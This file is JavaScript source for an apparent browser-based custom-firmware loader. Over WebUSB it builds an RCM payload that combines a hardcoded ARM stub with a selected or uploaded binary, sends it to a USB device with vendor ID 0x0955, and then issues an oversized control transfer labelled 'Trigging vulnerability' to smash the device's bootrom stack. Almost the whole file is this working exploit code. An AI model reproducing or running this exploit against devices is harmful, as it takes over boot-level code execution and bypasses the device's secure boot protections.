function logOutput(...message) { document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "
"; } function clearLog() { document.getElementById("output").innerHTML = ""; } async function getPayloadList() { return fetch("payloads/payloads.json") .then((response) => { if (!response.ok) throw new Error(response.status); return response.json(); }) .then((data) => { return data.payloads; }); } (async () => { const payloadSelect = document.getElementById("payloadSelect"); let payloadList; try { payloadList = await getPayloadList(); } catch (error) { logOutput( "There was a problem retreiving the payload list. Error: " + error, ); return; } payloadList.forEach((payload) => { const payloadOption = document.createElement("option"); payloadOption.value = payload.path; payloadOption.innerHTML = payload.name + " " + payload.version; payloadSelect.appendChild(payloadOption); }); })(); async function getPayload(payloadSrc) { return fetch(payloadSrc).then((response) => { if (!response.ok) throw new Error(response.status); return response.arrayBuffer(); }); } const intermezzo = new Uint8Array([ 0x44, 0x00, 0x9f, 0xe5, 0x01, 0x11, 0xa0, 0xe3, 0x40, 0x20, 0x9f, 0xe5, 0x00, 0x20, 0x42, 0xe0, 0x08, 0x00, 0x00, 0xeb, 0x01, 0x01, 0xa0, 0xe3, 0x10, 0xff, 0x2f, 0xe1, 0x00, 0x00, 0xa0, 0xe1, 0x2c, 0x00, 0x9f, 0xe5, 0x2c, 0x10, 0x9f, 0xe5, 0x02, 0x28, 0xa0, 0xe3, 0x01, 0x00, 0x00, 0xeb, 0x20, 0x00, 0x9f, 0xe5, 0x10, 0xff, 0x2f, 0xe1, 0x04, 0x30, 0x90, 0xe4, 0x04, 0x30, 0x81, 0xe4, 0x04, 0x20, 0x52, 0xe2, 0xfb, 0xff, 0xff, 0x1a, 0x1e, 0xff, 0x2f, 0xe1, 0x20, 0xf0, 0x01, 0x40, 0x5c, 0xf0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40, ]); const RCM_PAYLOAD_ADDRESS = 0x40010000; const INTERMEZZO_LOCATION = 0x4001f000; const PAYLOAD_LOAD_BLOCK = 0x40020000; function createRCMPayload(intermezzo, payload) { const rcmLength = 0x30298; const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4; const rcmPayloadSize = Math.ceil( (0x2a8 + 0x4 * intermezzoAddressRepeatCount + 0x1000 + payload.byteLength) / 0x1000, ) * 0x1000; const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize)); const rcmPayloadView = new DataView(rcmPayload.buffer); rcmPayloadView.setUint32(0x0, rcmLength, true); for (let i = 0; i < intermezzoAddressRepeatCount; i++) { rcmPayloadView.setUint32(0x2a8 + i * 4, INTERMEZZO_LOCATION, true); } rcmPayload.set(intermezzo, 0x2a8 + 0x4 * intermezzoAddressRepeatCount); rcmPayload.set(payload, 0x2a8 + 0x4 * intermezzoAddressRepeatCount + 0x1000); return rcmPayload; } function bufferToHex(data) { let result = ""; for (let i = 0; i < data.byteLength; i++) result += data.getUint8(i).toString(16).padStart(2, "0"); return result; } async function write(device, data) { let length = data.length; let writeCount = 0; const packetSize = 0x1000; while (length) { const dataToTransmit = Math.min(length, packetSize); length -= dataToTransmit; const chunk = data.slice(0, dataToTransmit); data = data.slice(dataToTransmit); await device.transferOut(1, chunk); writeCount++; } return writeCount; } function readFileAsArrayBuffer(file) { return new Promise((res, rej) => { const reader = new FileReader(); reader.onload = (e) => { res(e.target.result); }; reader.readAsArrayBuffer(file); }); } let device; async function launchPayload(payload) { await device.open(); logOutput(`Connected to ${device.manufacturerName} ${device.productName}`); if (device.configuration === null) { await device.selectConfiguration(1); } await device.claimInterface(0); const deviceID = await device.transferIn(1, 16); logOutput(`Device ID: ${bufferToHex(deviceID.data)}`); const rcmPayload = createRCMPayload(intermezzo, payload); logOutput("Sending payload..."); const writeCount = await write(device, rcmPayload); logOutput("Payload sent!"); if (writeCount % 2 !== 1) { logOutput("Switching to higher buffer..."); await device.transferOut(1, new ArrayBuffer(0x1000)); } logOutput("Trigging vulnerability..."); const vulnerabilityLength = 0x7000; const smash = await device.controlTransferIn( { requestType: "standard", recipient: "interface", request: 0x00, value: 0x00, index: 0x00, }, vulnerabilityLength, ); } document.getElementById("goButton").addEventListener("click", async () => { clearLog(); var debugCheckbox = document.getElementById("shouldDebug"); const payloadPath = document.getElementById("payloadSelect").value; if (!debugCheckbox.checked) { if (!navigator.usb) { logOutput( "Your browser doesn't support Web USB, Web CFW Loader will not work!", ); return; } logOutput("Requesting access to device..."); try { device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }], }); } catch (error) { console.log(error); logOutput("Failed to get a device. Did you chose one?"); return; } } let payload; if (payloadPath === "uploaded") { const file = document.getElementById("payloadUpload").files[0]; if (!file) { alert("You need to upload a file, to use an uploaded file."); return; } logOutput('Using uploaded payload "' + file.name + '"'); payload = new Uint8Array(await readFileAsArrayBuffer(file)); } else { try { payload = new Uint8Array(await getPayload(payloadPath)); } catch (error) { logOutput("There was a problem retreiving the payload. Error: " + error); return; } } if (debugCheckbox.checked) { logOutput("Logging payload bytes..."); var payloadToLog = ""; for (var i = 0; i < payload.length; i++) { payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase(); } payloadToLog = payloadToLog; logOutput(payloadToLog); return; } logOutput( `Preparing to launch ${payloadPath}...`, ); launchPayload(payload); }); function onSelectChange() { if (document.getElementById("payloadSelect").value === "uploaded") document.getElementById("uploadContainer").style.display = "block"; else document.getElementById("uploadContainer").style.display = "none"; } function openInfo() { if (document.getElementById("infodiv").innerHTML != "") { document.getElementById("infodiv").innerHTML = ""; } } function openInstructions() { if (document.getElementById("infodiv").innerHTML != "") { document.getElementById("infodiv").innerHTML = ""; } }